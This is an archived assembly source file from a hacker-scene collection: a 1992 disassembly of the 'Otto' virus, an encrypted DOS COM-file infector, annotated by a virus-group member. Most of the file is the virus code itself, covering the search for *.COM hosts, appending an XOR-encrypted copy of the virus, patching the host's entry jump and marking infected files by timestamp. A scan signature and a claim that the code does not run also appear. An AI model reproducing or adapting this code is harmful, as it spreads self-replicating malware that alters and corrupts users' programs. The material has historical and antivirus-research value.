home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / ASM-O.ZIP / OTTO.ASM < prev    next >
Assembly Source File  |  1992-05-13  |  8KB  |  284 lines

  1. ;******************************************************************************
  2. ;                Otto Virus
  3. ;
  4. ;               Disassembled by Data Disruptor
  5. ;           (c) 1992 RABID International Development
  6. ;                 (May.12.92)
  7. ;
  8. ;         Original virus written by YAM (Youth Against McAfee) 1992
  9. ;
  10. ; Notes: Otto Schtuck (Pardon the spelling?) claims that this is a super-
  11. ;     encrypting virus. Well, it took me all of two minutes to get the virus
  12. ;     into it's disassembled form. Try again guys. It wasn't half bad. For
  13. ;     this virus, I could not use the techniques outlined in my article in
  14. ;     Censor Volume 1~, therefore, I had to use another method (which, 
  15. ;     coincidentally is a lot better). Be expecting "Decrypting Viruses
  16. ;     Part ][" in the next issue of Censor (Slated for release in early
  17. ;     June).
  18. ;
  19. ;     As always, these disassemblies compile but do not run. They are
  20. ;      intended to be used for "Hmm. Let's see how that group program's"
  21. ;     purposes only.
  22. ;
  23. ;                            Data Disruptor
  24. ;                                RABID
  25. ;
  26. ; ~ I don't know the reason why my method outlined in Censor I didn't work.
  27. ;   It could have had something to do with SMARTDRV and FSP conflicting in
  28. ;   memory. Nonetheless, another method was found.
  29. ;
  30. ; (Ok. So it's not one of my best disassemblies, but at least it shows how
  31. ;  one can decrypt encrypted viruses...)
  32. ;
  33. ; A scan for this virus is;
  34. ;
  35. ;    # Otto - Written by Otto Schtuck
  36. ;    "8A 24 32 E0 88 24 46" Otto Schtuck [Otto] *NEW*
  37. ;
  38. ; It does no damage, does not hide it's file increase, but preserves the time
  39. ; & date stamp. It does not display any message. It is a transient COM infector
  40. ; that will infect one file in the current directory each time it is run.
  41. ;******************************************************************************
  42.  
  43. file_handle    equ    9Eh            ; File handle location
  44. enc_bit        equ    0FFh            ; Encryption bit
  45.  
  46. code        segment    byte public
  47.         assume    cs:code, ds:code
  48.         org    100h
  49.  
  50. ;---
  51. ; Length of virus is 379 bytes...
  52. ;---
  53.  
  54. otto_vir    proc    far
  55. start:
  56.         jmp    short virus_entry    ; Virus entry here
  57. ;---
  58. ; This hunk of shit here looks encrypted. I couldn't be bothered to go any
  59. ; further...
  60. ;---
  61.  
  62. crypt_1        db    90h
  63.         db     12h, 44h, 75h, 64h, 6Eh,0C1h
  64.         db     0Eh,0EDh, 70h, 05h, 34h, 5Dh
  65.         db     77h,0EBh, 35h,0D4h, 35h, 46h
  66.         db     34h, 68h, 7Ch,0A2h, 05h,0C1h
  67.         db     24h, 49h, 34h, 4Eh, 6Ch,0F1h
  68.         db     33h,0D5h, 20h, 5Ch, 7Bh, 78h
  69.         db     08h, 88h
  70. crypt_2        db    69h
  71.         db    0C3h, 79h
  72.         db     08h, 25h, 33h, 3Ch
  73.         db    0B0h, 61h,0F2h, 11h, 6Ah, 5Dh
  74.         db     4Eh, 25h,0CBh, 2Fh,0D4h, 35h
  75.         db     5Ah, 7Ah, 6Bh, 71h,0EBh, 2Eh
  76.         db    0CEh, 31h, 44h, 19h, 00h, 1Fh
  77. virus_entry:
  78.         cmp    al,[bx+di-14h]        
  79.         popf                ; Pop flags
  80.         or    ax,bp
  81.         add    [bx+si],al
  82.         pop    si
  83.         push    si
  84.         sub    si,108h
  85.         pop    ax
  86.         sub    ax,100h
  87.         mov    ds:enc_bit,al
  88.         push    si
  89.         mov    cx,17Bh            ; 379 bytes
  90.         add    si,offset crypt_2
  91.  
  92. decrypt:
  93.         mov    ah,[si]
  94.         xor    ah,al
  95.         mov    [si],ah
  96.         inc    si
  97.         ror    al,1            ; Rotate
  98.         loop    decrypt 
  99.  
  100.         pop    si
  101.         mov    ax,enc_ax[si]
  102.         mov    dh,enc_dh[si]
  103.         mov    word ptr ds:[100h],ax
  104.         mov    crypt_1,dh
  105.         lea    dx,filespec        ; Set filespec
  106.         xor    cx,cx            ; Search for normal files
  107.         mov    ah,4Eh            ; Search for first match
  108. search_handler:
  109.         int    21h            
  110.         jnc    got_file
  111.         jmp    quit
  112. ;---
  113. ; Otto! If you want to save some bytes, you don't have to open the file in 
  114. ; order to get it's time. There are other ways around this...
  115. ;---
  116.  
  117. got_file:
  118.         mov    dx,file_handle        ; Get file handle from DTA
  119.         mov    ax,3D02h        ; Open file with read/write
  120.         int    21h            
  121.         mov    bx,ax            ; Save file handle in BX
  122.         mov    ax,5700h
  123.         int    21h            ; Get time/date from file
  124.         cmp    cl,3            ; Check timestamp
  125.         jne    found_host        ; Not equal to our timestamp?
  126.         mov    ah,3Eh            ; Then close the file and...
  127.         int    21h            ; 
  128.         mov    ah,4Fh            ; ...Search for next match
  129.         jmp    short search_handler
  130. found_host:
  131.         push    cx
  132.         push    dx
  133.         call    move_ptr_start        ; Move file pointer to start
  134.         lea    dx,[si+three_bytes]    ; Set buffer space for 3 bytes
  135.         mov    cx,3            ; Set for 3 bytes
  136.         mov    ah,3Fh            ; Read in file
  137.         int    21h        
  138.         xor    cx,cx            ; Set registers to...
  139.         xor    dx,dx            ; ...absolute end of file
  140.         mov    ax,4202h
  141.         int    21h            ; Move file point to end
  142.         mov    word ptr ptr_loc[si],ax
  143.         sub    ax,3
  144.         mov    adj_ptr_loc[si],ax
  145.         call    move_ptr_start
  146.         add    ax,6
  147.         mov    work[si],al
  148.         mov    cx,word ptr ptr_loc[si]
  149. ;---
  150. ; Set buffer space at end of the file so that we don't waste space in the
  151. ; virus
  152. ;---
  153.         lea    dx,[si+2A4h]    
  154.         mov    ah,3Fh            ; Read in file
  155.         int    21h        
  156.         push    si
  157.         mov    al,work[si]
  158.         add    si,offset copyright+4
  159.         call    encrypt
  160.         pop    si
  161.         call    move_ptr_start
  162.         mov    cx,word ptr ptr_loc[si]
  163.         lea    dx,[si+2A4h]        ; Load effective addr
  164.         mov    ah,40h            ; 
  165.         int    21h            
  166.         jnc    check_write        ; 
  167.         jmp    short quit
  168. check_write:
  169.         lea    dx,[si+105h]        ; Load effective addr
  170.         mov    cx,24h
  171.         mov    ah,40h            ; 
  172.         int    21h        
  173.         push    si
  174.         mov    cx,17Bh            ; 379 bytes
  175.         mov    di,si
  176.         add    di,offset copyright+1
  177.         add    si,offset crypt_2
  178.         rep    movsb            ; 
  179.         pop    si
  180.         push    si
  181.         mov    al,work[si]
  182.         mov    cx,17Bh            ; 397 bytes
  183.         add    si,offset copyright+1
  184.         call    encrypt
  185.         pop    si
  186.         mov    cx,17Bh            ; 397 bytes
  187.         lea    dx,[si+2A4h]        ; Set buffer to encrypted data
  188.         mov    ah,40h            ; Write out the virus to the 
  189.                         ; file
  190.         int    21h            
  191.         jc    quit            ; Jump if carry Set
  192.         call    move_ptr_start        ; Move file pointer to start
  193.         lea    dx,[si+new_jump]    ; Load DX with the new jump
  194.         mov    ah,40h            ; 
  195.         mov    cx,3            ; Set for 3 bytes
  196.         int    21h            ; Write out the new jump
  197.         jc    quit            ; Jump if carry Set
  198.         pop    dx
  199.         pop    cx
  200.         mov    cl,3            ; Set low order time with 
  201.                         ; our identity byte
  202.         mov    ax,5701h
  203.         int    21h            ; Set file date/time
  204.         mov    ah,3Eh            ; 
  205.         int    21h            ; Close the file
  206.  
  207. ;---
  208. ; Hmm. This routine looks a bit familiar... Maybe it was "borrowed" from the
  209. ; RAGE Virus we wrote...
  210. ;---
  211.  
  212. quit:
  213.         push    si            ; Save our SI
  214.         mov    al,ds:enc_bit        ; Load AL with value of the
  215.                         ; encryption bit
  216.         xor    cx,cx            ; 
  217.         add    cx,si            ; Load CX with original 3 bytes
  218.         add    cx,3            ; Adjust value for offset of
  219.                         ; virgin code
  220.         mov    bp,103h            ; Load BP with offset of 103h
  221.                         ; Where the virgin code starts
  222.         mov    si,bp            ; Copy this location to SI
  223.         call    encrypt            ; Encrypt this portion of the
  224.                         ; code
  225.         pop    si            ; Restore original SI
  226.         mov    bp,offset start        ; Load BP with offset of start
  227.                         ; of the virgin code
  228.         jmp    bp            ; Jump to start of virgin code
  229. otto_vir    endp
  230.  
  231. encrypt        proc    near
  232. encryption:
  233.         mov    ah,[si]
  234.         xor    ah,al
  235.         mov    [si],ah
  236.         inc    si
  237.         ror    al,1            ; Rotate
  238.         loop    encryption
  239.  
  240.         retn
  241. encrypt        endp
  242.  
  243.         db    'OTTO VIRUS written by:OTTO '
  244. enc_ax        dw    4353h            ; Encryption shit loaded in AX
  245. enc_dh        db    48h            ; Encryption shit loaded in DH
  246.         db    54h
  247. adj_ptr_loc    dw    4355h            ; Adjusted file pointer
  248.                         ; location (ptr_loc-3 bytes)
  249. work        db    4Bh            ; A work buffer
  250. ptr_loc        db    20h            ; File pointer location
  251. copyright    db    'COPYRIGHT MICROSHAFT INDUSTRIES '
  252.         db    '1992 (tm.)PQR'
  253. ;---
  254. ; Everything below here appeared as a bunch of hex shit I had to convert...
  255. ;---
  256.  
  257. move_ptr_start    proc    near
  258.         mov    ax,4200h        ; Move fp to start (B80042)
  259.         xor    cx,cx            ; (33C9)
  260.         xor    dx,dx            ; (33D2)
  261.         int    21h            ; Call DOS (CD21)
  262.         pop    dx            ; (5A)
  263.         pop    cx            ; (59)
  264.         pop    ax            ; (58)
  265.         ret                ; (C3)
  266. move_ptr_start    endp
  267.  
  268. filespec    db    '*.COM',0        ; Location 295h
  269.  
  270. three_bytes    db    0ebh,46h,90h        ; jmp 148 (Location 29Bh)
  271. new_jump    db    0e9h,4ah,00h        ; jmp 150 (Loc 29Eh)
  272.         push    ax            ; Loc 2A1h
  273.         dec    bp            ; Loc 2A2h
  274.         db    00h            ; Loc 2A3h
  275.  
  276. code        ends
  277.  
  278.  
  279.  
  280.         end    start
  281.  
  282.  
  283.